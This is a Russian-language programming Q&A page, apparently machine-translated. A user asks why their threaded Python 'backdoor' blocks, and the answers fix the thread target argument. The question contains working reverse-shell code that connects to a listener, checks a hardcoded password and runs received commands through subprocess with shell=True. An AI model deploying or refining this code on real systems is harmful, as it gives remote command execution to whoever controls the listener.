Как исправить скрипт Python, заблокированный функцией, даже если он многопоточный - PullRequest
Новая
       3

Как исправить скрипт Python, заблокированный функцией, даже если он многопоточный

0 голосов
/ 07 апреля 2019

Я опробовал бэкдорную программу, которую я сделал для удовольствия, и она многопоточная, но инициализируется только первый поток, а затем остальная часть программы блокируется до завершения функции.Предполагается, что время будет печататься каждые 10 секунд, но при этом одновременно работает бэкдор.

Я использую netcat для связи со сценарием.'nc -l 1234' в терминале

Я пытался печатать сразу после инициализации, но ничего не печатал.

Если я инициализирую другой поток первым, другой блокируется. (Первый человекна мельницу.)

Первые темы функцион.должен завершиться до начала следующего.

Импорт и большинство переменных, включая блокировки. 

import socket
import subprocess
import threading
import time

port = 1234
passw = 'Password'
host = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print_lock = threading.Lock()
sleep_lock = threading.Lock()

Функции 

def clock():
    with print_lock:
        print(time.time())
    with sleep_lock:
        time.sleep(10)
    clock()

def login():
    s.send("Login > ".encode('utf-8'))
    usrPassw = s.recv(1024)

    if(usrPassw.decode('utf-8').strip() == passw):
        s.send("Successfully Connected!\n".encode('utf-8'))
        s.send("> ".encode('utf-8'))
        revShell()
    else:
        s.send("Wrong Password!\n".encode('utf-8'))
        login()

def revShell():
    global s
    while True:
        inData = s.recv(1024)

        if(inData.decode('utf-8').strip() == 'logout'):
            break

        sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
        output = sp.stdout.read() + sp.stderr.read()
        s.send(output.encode('utf-8'))
        s.send('> '.encode('utf-8'))

Это инициализируется 

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

Это не 

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

Я ожидаю, что два потока будут работать одновременно, но они этого не делают, и первый блокирует основной поток, а второй поток инициализируется.

Ответы [ 2 ]

1 голос
/ 07 апреля 2019

Вот проблема, в "threading.Thread", параметре "target", который должен быть именем функции, не ставьте круглые скобки после того, как ваша функция просто поместила имя функции:

изменить эти 

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

до: 

tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()
0 голосов
/ 07 апреля 2019

Вы не предоставили свой экземпляр потока init (), поэтому мы немного в неведении.

Однако общий подход заключается в

  • подкласс threading.Thread и в функции экземпляра init () убедитесь, что вы вызываете threading.Thread.__init__(self)

  • в своем __main__()подпрограмму, вызовите os.fork(), а затем, если в дочернем процессе, вызовите run().

У меня есть функциональный пример этого в https://github.com/jmcp/jfy-monitor/blob/master/jfymonitor.py

...